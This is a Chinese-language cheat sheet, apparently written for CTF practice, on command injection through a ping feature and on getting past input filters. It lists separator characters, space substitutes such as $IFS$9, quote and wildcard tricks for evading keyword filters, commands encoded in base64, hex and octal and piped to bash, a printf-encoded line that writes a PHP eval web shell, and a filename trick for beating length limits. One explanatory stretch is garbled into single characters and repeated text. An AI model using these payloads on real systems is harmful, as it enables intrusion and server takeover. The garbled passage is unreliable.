ping命令执行及bypass
管道符
windows 下
|
直接执行后面的语句
||
如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&
前面和后面命令都要执行,无论前面真假
&&
如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux 下
;
前面和后面命令都要执行,无论前面真假
|
直接执行后面的语句
||
如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&
前面和后面命令都要执行,无论前面真假
&&
如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
命令分割符被过滤
使用下面两个
%0a换行符,需要php环境
%0d回车符,需要php环境
空格绕过
常见的绕过符号有: $IFS
9
、
9 、
9、{IFS} 、%09(php环境下)、 重定向符<>、>
I
F
S
在
l
i
n
u
x
下
表
示
分
隔
符
,
如
果
不
加
则
b
a
s
h
会
将
I
F
S
解
释
为
一
个
变
量
名
,
加
一
个
就
固
定
了
变
量
名
,
IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名, 加一个{}就固定了变量名,
IFS在linux下表示分隔符,如果不加则bash会将IFS解释为一个变量名,加一个就固定了变量名,IFS
9
后
面
之
所
以
加
个
9后面之所以加个
9后面之所以加个是为了起到截断的作用 ;为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
不仅 $9可以使用,我试了试其他的数字也都可以正确绕过。
过滤目录分隔符
目录分隔符/
我们可以使用$HOME
代替,HOME也是shell中的一个环境变量,表示当前用户的根目录,我们可以看看当前用户的HOME值是什么
可以看到当前用户的根目录是/home/www-data,我们只需要/,所以我们可以用${HOME:0:1}来实现
关键词过滤
单引号绕过
w'h'o'am'i
双引号绕过
w"h"o"am"i
反斜线
c\at fl\ag
正则 (假设/bin/cat: test: 是一个目录)
/???/?[a][t] ?''?''?''?''`
`/???/?at ????`
`/???/?[a]''[t] ?''?''?''?''
使用 $@ 绕过
who$@ami
用通配符绕过
powershell C:\*\*2\n??e*d.*? # notepad
cat被过滤
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
命令执行函数被过滤
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
利用编码绕过
#base64
echo Y2F0IC9mbGFn|base64 -d|bash ==>cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
echo Y2F0IGZsYWcucGhw|base64 -d|bash==>cat flag.php
echo Y2F0IGZsYWcucGhw|base64 -d|sh==>cat flag.php
#hex
echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
#oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#i也可以通过这种方式写马
内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
奇淫妓巧
内联执行执行
cat$IFS$9`ls`
cat$IFS$9$(ls)
这两个命令也意思就是执行当前目录下的所有文件
(内联,就是将``或$()内命令的输出作为输入执行)
利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)
root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~/桌面# ls -t >a #将 ls -t 内容写入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found
\ 是指换行
ls -t将文件按时间排序输出
sh命令可以从一个文件中读取命令来执行
参考博客 https://www.cnblogs.com/NPFS/p/13279815.html
https://www.cnblogs.com/micr067/p/12590152.html
https://blog.csdn.net/qq_45552960/article/details/104576189
https://blog.csdn.net/qq_42812036/article/details/104297163
https://www.freesion.com/article/9046720644/